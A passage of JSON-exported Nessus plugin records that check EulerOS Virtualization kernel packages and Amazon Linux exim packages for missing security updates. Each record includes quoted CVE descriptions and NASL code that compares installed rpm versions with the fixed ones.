{"nessus": [{"lastseen": "2019-11-01T02:06:29", "bulletinFamily": "scanner", "description": "According to the versions of the kernel packages installed, the\nEulerOS Virtualization for ARM 64 installation on the remote host is\naffected by the following vulnerabilities :\n\n - The hid_input_field() function in\n ", "modified": "2019-11-02T00:00:00", "id": "EULEROS_SA-2019-1472.NASL", "href": "https://www.tenable.com/plugins/nessus/124796", "published": "2019-05-13T00:00:00", "title": "EulerOS Virtualization for ARM 64 3.0.1.0 : kernel (EulerOS-SA-2019-1472)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(124796);\n script_version(\"1.4\");\n script_cvs_date(\"Date: 2019/06/27 13:33:25\");\n\n script_cve_id(\n \"CVE-2013-2892\",\n \"CVE-2014-2568\",\n \"CVE-2014-7843\",\n \"CVE-2014-9420\",\n \"CVE-2014-9529\",\n \"CVE-2014-9730\",\n \"CVE-2016-2070\",\n \"CVE-2016-2383\",\n \"CVE-2016-3134\",\n \"CVE-2016-4568\",\n \"CVE-2016-6327\",\n \"CVE-2016-7915\",\n \"CVE-2016-9754\",\n \"CVE-2017-16525\",\n \"CVE-2017-18079\",\n \"CVE-2017-18204\",\n \"CVE-2017-7261\",\n \"CVE-2017-9605\",\n \"CVE-2018-1094\",\n \"CVE-2018-16276\"\n );\n script_bugtraq_id(\n 62049,\n 66348,\n 71082,\n 71717,\n 71880,\n 74964\n );\n\n script_name(english:\"EulerOS Virtualization for ARM 64 3.0.1.0 : kernel (EulerOS-SA-2019-1472)\");\n script_summary(english:\"Checks the rpm output for the updated packages.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS Virtualization for ARM 64 host is missing multiple security\nupdates.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the versions of the kernel packages installed, the\nEulerOS Virtualization for ARM 64 installation on the remote host is\naffected by the following vulnerabilities :\n\n - The hid_input_field() function in\n 'drivers/hid/hid-core.c' in the Linux kernel before 4.6\n allows physically proximate attackers to obtain\n sensitive information from kernel memory or cause a\n denial of service (out-of-bounds read) by connecting a\n device.(CVE-2016-7915)\n\n - The Linux kernel, before version 4.14.2, is vulnerable\n to a deadlock caused by\n fs/ocfs2/file.c:ocfs2_setattr(), as the function does\n not wait for DIO requests before locking the inode.\n This can be exploited by local users to cause a\n subsequent denial of service.(CVE-2017-18204)\n\n - The vmw_gb_surface_define_ioctl function (accessible\n via DRM_IOCTL_VMW_GB_SURFACE_CREATE) in\n drivers/gpu/drm/vmwgfx/vmwgfx_surface.c in the Linux\n kernel through 4.11.4 defines a backup_handle variable\n but does not give it an initial value. If one attempts\n to create a GB surface, with a previously allocated DMA\n buffer to be used as a backup buffer, the backup_handle\n variable does not get written to and is then later\n returned to user space, allowing local users to obtain\n sensitive information from uninitialized kernel memory\n via a crafted ioctl call.(CVE-2017-9605)\n\n - Use-after-free vulnerability in the nfqnl_zcopy\n function in net/netfilter/nfnetlink_queue_core.c in the\n Linux kernel through 3.13.6 allows attackers to obtain\n sensitive information from kernel memory by leveraging\n the absence of a certain orphaning operation. NOTE: the\n affected code was moved to the skb_zerocopy function in\n net/core/skbuff.c before the vulnerability was\n announced.(CVE-2014-2568)\n\n - It was found that the Linux kernel's ISO file system\n implementation did not correctly limit the traversal of\n Rock Ridge extension Continuation Entries (CE). An\n attacker with physical access to the system could use\n this flaw to trigger an infinite loop in the kernel,\n resulting in a denial of service.(CVE-2014-9420)\n\n - An integer overflow vulnerability was found in the\n ring_buffer_resize() calculations in which a privileged\n user can adjust the size of the ringbuffer message\n size. These calculations can create an issue where the\n kernel memory allocator will not allocate the correct\n count of pages yet expect them to be usable. This can\n lead to the ftrace() output to appear to corrupt kernel\n memory and possibly be used for privileged escalation\n or more likely kernel panic.(CVE-2016-9754)\n\n - A symlink size validation was missing in Linux kernels\n built with UDF file system (CONFIG_UDF_FS) support,\n allowing the corruption of kernel memory. An attacker\n able to mount a corrupted/malicious UDF file system\n image could cause the kernel to crash.(CVE-2014-9730)\n\n - In was found that in the Linux kernel, in\n vmw_surface_define_ioctl() function in\n 'drivers/gpu/drm/vmwgfx/vmwgfx_surface.c' file, a\n 'num_sizes' parameter is assigned a user-controlled\n value which is not checked if it is zero. This is used\n in a call to kmalloc() and later leads to dereferencing\n ZERO_SIZE_PTR, which in turn leads to a GPF and\n possibly to a kernel panic.(CVE-2017-7261)\n\n - A race condition flaw was found in the way the Linux\n kernel keys management subsystem performed key garbage\n collection. A local attacker could attempt accessing a\n key while it was being garbage collected, which would\n cause the system to crash.(CVE-2014-9529)\n\n - A flaw was found in the Linux kernel's implementation\n of i8042 serial ports. An attacker could cause a kernel\n panic if they are able to add and remove devices as the\n module is loaded.(CVE-2017-18079)\n\n - drivers/hid/hid-pl.c in the Human Interface Device\n (HID) subsystem in the Linux kernel through 3.11, when\n CONFIG_HID_PANTHERLORD is enabled, allows physically\n proximate attackers to cause a denial of service\n (heap-based out-of-bounds write) via a crafted\n device.(CVE-2013-2892)\n\n - The __clear_user function in\n arch/arm64/lib/clear_user.S in the Linux kernel before\n 3.17.4 on the ARM64 platform allows local users to\n cause a denial of service (system crash) by reading one\n byte beyond a /dev/zero page boundary.(CVE-2014-7843)\n\n - A divide-by-zero vulnerability was found in a way the\n kernel processes TCP connections. The error can occur\n if a connection starts another cwnd reduction phase by\n setting tp->prior_cwnd to the current cwnd (0) in\n tcp_init_cwnd_reduction(). A remote, unauthenticated\n attacker could use this flaw to crash the kernel\n (denial of service).(CVE-2016-2070)\n\n - The adjust_branches function in kernel/bpf/verifier.c\n in the Linux kernel before 4.5 does not consider the\n delta in the backward-jump case, which allows local\n users to obtain sensitive information from kernel\n memory by creating a packet filter and then loading\n crafted BPF instructions.(CVE-2016-2383)\n\n - System using the infiniband support module ib_srpt were\n vulnerable to a denial of service by system crash by a\n local attacker who is able to abort writes to a device\n using this initiator.(CVE-2016-6327)\n\n - A security flaw was found in the Linux kernel in the\n mark_source_chains() function in\n 'net/ipv4/netfilter/ip_tables.c'. It is possible for a\n user-supplied 'ipt_entry' structure to have a large\n 'next_offset' field. This field is not bounds checked\n prior to writing to a counter value at the supplied\n offset.(CVE-2016-3134)\n\n - An out-of-bounds access issue was discovered in\n yurex_read() in drivers/usb/misc/yurex.c in the Linux\n kernel. A local attacker could use user access\n read/writes with incorrect bounds checking in the yurex\n USB driver to crash the kernel or potentially escalate\n privileges.(CVE-2018-16276)\n\n - drivers/media/v4l2-core/videobuf2-v4l2.c in the Linux\n kernel before 4.5.3 allows local users to cause a\n denial of service (kernel memory write operation) or\n possibly have unspecified other impact via a crafted\n number of planes in a VIDIOC_DQBUF ioctl\n call.(CVE-2016-4568)\n\n - The usb_serial_console_disconnect function in\n drivers/usb/serial/console.c in the Linux kernel,\n before 4.13.8, allows local users to cause a denial of\n service (use-after-free and system crash) or possibly\n have unspecified other impact via a crafted USB device,\n related to disconnection and failed\n setup.(CVE-2017-16525)\n\n - The Linux kernel is vulnerable to a NULL pointer\n dereference in the ext4/xattr.c:ext4_xattr_inode_hash()\n function. An attacker could trick a legitimate user or\n a privileged attacker could exploit this to cause a\n NULL pointer dereference with a crafted ext4 image.\n (CVE-2018-1094)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2019-1472\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?349d271e\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected kernel packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:ND/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/05/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/05/13\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools-libs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools-libs-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:perf\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:python-perf\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:uvp:3.0.1.0\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nuvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (uvp != \"3.0.1.0\") audit(AUDIT_OS_NOT, \"EulerOS Virtualization 3.0.1.0\");\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"aarch64\" >!< cpu) audit(AUDIT_ARCH_NOT, \"aarch64\", cpu);\n\nflag = 0;\n\npkgs = [\"kernel-4.19.28-1.2.117\",\n \"kernel-devel-4.19.28-1.2.117\",\n \"kernel-headers-4.19.28-1.2.117\",\n \"kernel-tools-4.19.28-1.2.117\",\n \"kernel-tools-libs-4.19.28-1.2.117\",\n \"kernel-tools-libs-devel-4.19.28-1.2.117\",\n \"perf-4.19.28-1.2.117\",\n \"python-perf-4.19.28-1.2.117\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"kernel\");\n}\n", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2019-11-01T02:06:39", "bulletinFamily": "scanner", "description": "According to the versions of the kernel packages installed, the\nEulerOS Virtualization installation on the remote host is affected by\nthe following vulnerabilities :\n\n - The snd_timer_interrupt function in sound/core/timer.c\n in the Linux kernel before 4.4.1 does not properly\n maintain a certain linked list, which allows local\n users to cause a denial of service (race condition and\n system crash) via a crafted ioctl call.(CVE-2016-2545)\n\n - sound/core/timer.c in the Linux kernel before 4.4.1\n uses an incorrect type of mutex, which allows local\n users to cause a denial of service (race condition,\n use-after-free, and system crash) via a crafted ioctl\n call.(CVE-2016-2546)\n\n - sound/core/timer.c in the Linux kernel before 4.4.1\n employs a locking approach that does not consider slave\n timer instances, which allows local users to cause a\n denial of service (race condition, use-after-free, and\n system crash) via a crafted ioctl call.(CVE-2016-2547)\n\n - sound/core/timer.c in the Linux kernel before 4.4.1\n retains certain linked lists after a close or stop\n action, which allows local users to cause a denial of\n service (system crash) via a crafted ioctl call,\n related to the (1) snd_timer_close and (2)\n _snd_timer_stop functions.(CVE-2016-2548)\n\n - sound/core/hrtimer.c in the Linux kernel before 4.4.1\n does not prevent recursive callback access, which\n allows local users to cause a denial of service\n (deadlock) via a crafted ioctl call.(CVE-2016-2549)\n\n - A resource-exhaustion vulnerability was found in the\n kernel, where an unprivileged process could allocate\n and accumulate far more file descriptors than the\n process", "modified": "2019-11-02T00:00:00", "id": "EULEROS_SA-2019-1492.NASL", "href": "https://www.tenable.com/plugins/nessus/124816", "published": "2019-05-13T00:00:00", "title": "EulerOS Virtualization 3.0.1.0 : kernel (EulerOS-SA-2019-1492)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(124816);\n script_version(\"1.4\");\n script_cvs_date(\"Date: 2019/06/27 13:33:25\");\n\n script_cve_id(\n \"CVE-2016-2545\",\n \"CVE-2016-2546\",\n \"CVE-2016-2547\",\n \"CVE-2016-2548\",\n \"CVE-2016-2549\",\n \"CVE-2016-2550\",\n \"CVE-2016-2847\",\n \"CVE-2016-3070\",\n \"CVE-2016-3134\",\n \"CVE-2016-3135\",\n \"CVE-2016-3136\",\n \"CVE-2016-3137\",\n \"CVE-2016-3138\",\n \"CVE-2016-3139\",\n \"CVE-2016-3140\",\n \"CVE-2016-3156\",\n \"CVE-2016-3672\",\n \"CVE-2016-3689\",\n \"CVE-2016-3841\",\n \"CVE-2016-3955\",\n \"CVE-2016-4470\",\n \"CVE-2016-4482\",\n \"CVE-2016-4565\"\n );\n\n script_name(english:\"EulerOS Virtualization 3.0.1.0 : kernel (EulerOS-SA-2019-1492)\");\n script_summary(english:\"Checks the rpm output for the updated packages.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS Virtualization host is missing multiple security\nupdates.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the versions of the kernel packages installed, the\nEulerOS Virtualization installation on the remote host is affected by\nthe following vulnerabilities :\n\n - The snd_timer_interrupt function in sound/core/timer.c\n in the Linux kernel before 4.4.1 does not properly\n maintain a certain linked list, which allows local\n users to cause a denial of service (race condition and\n system crash) via a crafted ioctl call.(CVE-2016-2545)\n\n - sound/core/timer.c in the Linux kernel before 4.4.1\n uses an incorrect type of mutex, which allows local\n users to cause a denial of service (race condition,\n use-after-free, and system crash) via a crafted ioctl\n call.(CVE-2016-2546)\n\n - sound/core/timer.c in the Linux kernel before 4.4.1\n employs a locking approach that does not consider slave\n timer instances, which allows local users to cause a\n denial of service (race condition, use-after-free, and\n system crash) via a crafted ioctl call.(CVE-2016-2547)\n\n - sound/core/timer.c in the Linux kernel before 4.4.1\n retains certain linked lists after a close or stop\n action, which allows local users to cause a denial of\n service (system crash) via a crafted ioctl call,\n related to the (1) snd_timer_close and (2)\n _snd_timer_stop functions.(CVE-2016-2548)\n\n - sound/core/hrtimer.c in the Linux kernel before 4.4.1\n does not prevent recursive callback access, which\n allows local users to cause a denial of service\n (deadlock) via a crafted ioctl call.(CVE-2016-2549)\n\n - A resource-exhaustion vulnerability was found in the\n kernel, where an unprivileged process could allocate\n and accumulate far more file descriptors than the\n process' limit. A local, unauthenticated user could\n exploit this flaw by sending file descriptors over a\n Unix socket and then closing them to keep the process'\n fd count low, thereby creating kernel-memory or\n file-descriptors exhaustion (denial of\n service).(CVE-2016-2550)\n\n - It is possible for a single process to cause an OOM\n condition by filling large pipes with data that are\n never read. A typical process filling 4096 pipes with 1\n MB of data will use 4 GB of memory and there can be\n multiple such processes, up to a\n per-user-limit.(CVE-2016-2847)\n\n - A security flaw was found in the Linux kernel that an\n attempt to move page mapped by AIO ring buffer to the\n other node triggers NULL pointer dereference at\n trace_writeback_dirty_page(), because\n aio_fs_backing_dev_info.dev is 0.(CVE-2016-3070)\n\n - A security flaw was found in the Linux kernel in the\n mark_source_chains() function in\n 'net/ipv4/netfilter/ip_tables.c'. It is possible for a\n user-supplied 'ipt_entry' structure to have a large\n 'next_offset' field. This field is not bounds checked\n prior to writing to a counter value at the supplied\n offset.(CVE-2016-3134)\n\n - An integer overflow vulnerability was found in the\n Linux kernel in xt_alloc_table_info, which on 32-bit\n systems can lead to small structure allocation and a\n copy_from_user based heap corruption.(CVE-2016-3135)\n\n - The mct_u232_msr_to_state function in\n drivers/usb/serial/mct_u232.c in the Linux kernel\n before 4.5.1 allows physically proximate attackers to\n cause a denial of service (NULL pointer dereference and\n system crash) via a crafted USB device without two\n interrupt-in endpoint descriptors.(CVE-2016-3136)\n\n - drivers/usb/serial/cypress_m8.c in the Linux kernel\n before 4.5.1 allows physically proximate attackers to\n cause a denial of service (NULL pointer dereference and\n system crash) via a USB device without both an\n interrupt-in and an interrupt-out endpoint descriptor,\n related to the cypress_generic_port_probe and\n cypress_open functions.(CVE-2016-3137)\n\n - The acm_probe function in drivers/usb/class/cdc-acm.c\n in the Linux kernel before 4.5.1 allows physically\n proximate attackers to cause a denial of service (NULL\n pointer dereference and system crash) via a USB device\n without both a control and a data endpoint\n descriptor.(CVE-2016-3138)\n\n - The wacom_probe function in\n drivers/input/tablet/wacom_sys.c in the Linux kernel\n before 3.17 allows physically proximate attackers to\n cause a denial of service (NULL pointer dereference and\n system crash) via a crafted endpoints value in a USB\n device descriptor.(CVE-2016-3139)\n\n - The digi_port_init function in\n drivers/usb/serial/digi_acceleport.c in the Linux\n kernel before 4.5.1 allows physically proximate\n attackers to cause a denial of service (NULL pointer\n dereference and system crash) via a crafted endpoints\n value in a USB device descriptor.(CVE-2016-3140)\n\n - 'A security flaw was found in the Linux kernel's\n networking subsystem that destroying the network\n interface with huge number of ipv4 addresses assigned\n keeps ''rtnl_lock'' spinlock for a very long time (up\n to hour). This blocks many network-related operations,\n including creation of new incoming ssh connections.\n\n - The problem is especially important for containers, as\n the container owner has enough permissions to trigger\n this and block a network access on a whole host,\n outside the container.(CVE-2016-3156)'\n\n - A weakness was found in the Linux ASLR implementation.\n Any user able to running 32-bit applications in a x86\n machine can disable ASLR by setting the RLIMIT_STACK\n resource to unlimited.(CVE-2016-3672)\n\n - The ims_pcu_parse_cdc_data function in\n drivers/input/misc/ims-pcu.c in the Linux kernel before\n 4.5.1 allows physically proximate attackers to cause a\n denial of service (system crash) via a USB device\n without both a master and a slave\n interface.(CVE-2016-3689)\n\n - It was found that the Linux kernel's IPv6\n implementation mishandled socket options. A local\n attacker could abuse concurrent access to the socket\n options to escalate their privileges, or cause a denial\n of service (use-after-free and system crash) via a\n crafted sendmsg system call.(CVE-2016-3841)\n\n - The usbip_recv_xbuff function in\n drivers/usb/usbip/usbip_common.c in the Linux kernel\n before 4.5.3 allows remote attackers to cause a denial\n of service (out-of-bounds write) or possibly have\n unspecified other impact via a crafted length value in\n a USB/IP packet.(CVE-2016-3955)\n\n - A flaw was found in the Linux kernel's keyring handling\n code: the key_reject_and_link() function could be\n forced to free an arbitrary memory block. An attacker\n could use this flaw to trigger a use-after-free\n condition on the system, potentially allowing for\n privilege escalation.(CVE-2016-4470)\n\n - The proc_connectinfo() function in\n 'drivers/usb/core/devio.c' in the Linux kernel through\n 4.6 does not initialize a certain data structure, which\n allows local users to obtain sensitive information from\n kernel stack memory via a crafted USBDEVFS_CONNECTINFO\n ioctl call. The stack object 'ci' has a total size of 8\n bytes. Its last 3 bytes are padding bytes which are not\n initialized and are leaked to userland.(CVE-2016-4482)\n\n - A flaw was found in the way certain interfaces of the\n Linux kernel's Infiniband subsystem used write() as\n bi-directional ioctl() replacement, which could lead to\n insufficient memory security checks when being invoked\n using the splice() system call. A local unprivileged\n user on a system with either Infiniband hardware\n present or RDMA Userspace Connection Manager Access\n module explicitly loaded, could use this flaw to\n escalate their privileges on the system.(CVE-2016-4565)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2019-1492\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?e3a99eaa\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected kernel packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/05/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/05/13\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools-libs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools-libs-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:perf\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:python-perf\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:uvp:3.0.1.0\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nuvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (uvp != \"3.0.1.0\") audit(AUDIT_OS_NOT, \"EulerOS Virtualization 3.0.1.0\");\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_ARCH_NOT, \"i686 / x86_64\", cpu);\n\nflag = 0;\n\npkgs = [\"kernel-3.10.0-862.14.1.6_42\",\n \"kernel-devel-3.10.0-862.14.1.6_42\",\n \"kernel-headers-3.10.0-862.14.1.6_42\",\n \"kernel-tools-3.10.0-862.14.1.6_42\",\n \"kernel-tools-libs-3.10.0-862.14.1.6_42\",\n \"kernel-tools-libs-devel-3.10.0-862.14.1.6_42\",\n \"perf-3.10.0-862.14.1.6_42\",\n \"python-perf-3.10.0-862.14.1.6_42\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"kernel\");\n}\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-11-01T02:14:19", "bulletinFamily": "scanner", "description": "This is an update fixeing dec64table OOB read in b64decode.", "modified": "2019-11-02T00:00:00", "href": "https://www.tenable.com/plugins/nessus/109186", "id": "ALA_ALAS-2018-997.NASL", "published": "2018-04-20T00:00:00", "title": "Amazon Linux AMI : exim (ALAS-2018-997)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Amazon Linux AMI Security Advisory ALAS-2018-997.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(109186);\n script_version(\"1.1\");\n script_cvs_date(\"Date: 2018/04/20 11:38:50\");\n\n script_xref(name:\"ALAS\", value:\"2018-997\");\n\n script_name(english:\"Amazon Linux AMI : exim (ALAS-2018-997)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Amazon Linux AMI host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\"This is an update fixeing dec64table OOB read in b64decode.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://alas.aws.amazon.com/ALAS-2018-997.html\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Run 'yum update exim' to update your system.\"\n );\n script_set_attribute(attribute:\"risk_factor\", value:\"High\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:exim\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:exim-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:exim-greylist\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:exim-mon\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:exim-mysql\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:exim-pgsql\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:amazon:linux\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2018/04/19\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2018/04/20\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2018 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Amazon Linux Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/AmazonLinux/release\", \"Host/AmazonLinux/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/AmazonLinux/release\");\nif (isnull(release) || !strlen(release)) audit(AUDIT_OS_NOT, \"Amazon Linux\");\nos_ver = pregmatch(pattern: \"^AL(A|\\d)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Amazon Linux\");\nos_ver = os_ver[1];\nif (os_ver != \"A\")\n{\n if (os_ver == 'A') os_ver = 'AMI';\n audit(AUDIT_OS_NOT, \"Amazon Linux AMI\", \"Amazon Linux \" + os_ver);\n}\n\nif (!get_kb_item(\"Host/AmazonLinux/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (rpm_check(release:\"ALA\", reference:\"exim-4.90.1-3.15.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"exim-debuginfo-4.90.1-3.15.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"exim-greylist-4.90.1-3.15.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"exim-mon-4.90.1-3.15.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"exim-mysql-4.90.1-3.15.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"exim-pgsql-4.90.1-3.15.amzn1\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"exim / 